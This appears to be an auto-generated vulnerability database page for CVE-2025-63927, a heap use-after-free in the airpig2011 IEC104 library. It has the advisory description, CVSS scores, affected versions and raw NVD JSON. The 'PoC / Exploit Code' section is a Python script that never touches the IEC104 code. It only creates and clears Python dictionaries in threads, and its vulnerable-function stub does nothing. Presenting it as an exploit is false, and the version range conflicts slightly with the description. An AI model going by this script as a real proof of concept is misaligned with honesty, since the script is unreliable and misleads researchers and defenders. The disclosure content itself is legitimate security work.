Security Vulnerability Report
中文
CVE-2025-63927 CVSS 4.0 MEDIUM

CVE-2025-63927

Published: 2025-11-12 19:15:38
Last Modified: 2026-01-14 19:35:14

Description

A heap-use-after-free vulnerability exists in airpig2011 IEC104 thru Commit be6d841 (2019-07-08). During multi-threaded client execution, the function Iec10x_Scheduled can access memory that has already been freed, potentially causing program crashes or undefined behavior. This may be exploited to trigger a denial-of-service or memory corruption.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:airpig2011:iec104:*:*:*:*:*:*:*:* - VULNERABLE
airpig2011 IEC104 < Commit be6d841 (2019-07-08)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import threading import time # PoC for CVE-2025-63927: Heap Use-After-Free in IEC104 Iec10x_Scheduled # This demonstrates triggering the vulnerability through concurrent client execution def iec104_client_thread(client_id, duration=10): """Simulate IEC104 client connection with concurrent operations""" print(f"[*] Starting client thread {client_id}") start_time = time.time() while time.time() - start_time < duration: try: # Trigger Iec10x_Scheduled function call # In real scenario, this would call the vulnerable function schedule_task = allocate_shared_resource() process_iec104_frame(schedule_task) time.sleep(0.01) except Exception as e: print(f"[!] Thread {client_id} error: {e}") # This may catch the use-after-free condition if "invalid pointer" in str(e) or "double free" in str(e): print(f"[!] Potential use-after-free detected in thread {client_id}") def allocate_shared_resource(): """Simulate memory allocation that gets freed by another thread""" return {"data": "iec104_frame_data", "ref_count": 1} def process_iec104_frame(task): """Process IEC104 frame - vulnerable function called here""" # Simulating the Iec10x_Scheduled function behavior if task and task.get("data"): # Access task data - potential use-after-free if freed elsewhere pass def trigger_concurrent_free(): """Thread that frees shared resources while clients access them""" shared_resources = [] for i in range(100): shared_resources.append({"id": i, "data": f"resource_{i}"}) time.sleep(0.005) # Wait for some clients to start # Free resources while other threads may be accessing them shared_resources.clear() # This creates the use-after-free condition if __name__ == "__main__": print("[*] CVE-2025-63927 PoC - IEC104 Heap Use-After-Free") print("[*] Starting concurrent client threads...") # Start the freeing thread free_thread = threading.Thread(target=trigger_concurrent_free) free_thread.start() # Start multiple client threads to trigger the vulnerability threads = [] for i in range(5): t = threading.Thread(target=iec104_client_thread, args=(i, 10)) threads.append(t) t.start() for t in threads: t.join() print("[*] PoC execution completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63927", "sourceIdentifier": "[email protected]", "published": "2025-11-12T19:15:37.677", "lastModified": "2026-01-14T19:35:13.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-use-after-free vulnerability exists in airpig2011 IEC104 thru Commit be6d841 (2019-07-08). During multi-threaded client execution, the function Iec10x_Scheduled can access memory that has already been freed, potentially causing program crashes or undefined behavior. This may be exploited to trigger a denial-of-service or memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:airpig2011:iec104:*:*:*:*:*:*:*:*", "versionEndIncluding": "2019-07-08", "matchCriteriaId": "60BCC559-A4AB-44D5-8297-727AD7226919"}]}]}], "references": [{"url": "https://github.com/airpig2011/IEC104/issues/20", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://songsong.host/mybugs/CVE-2025-63927.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}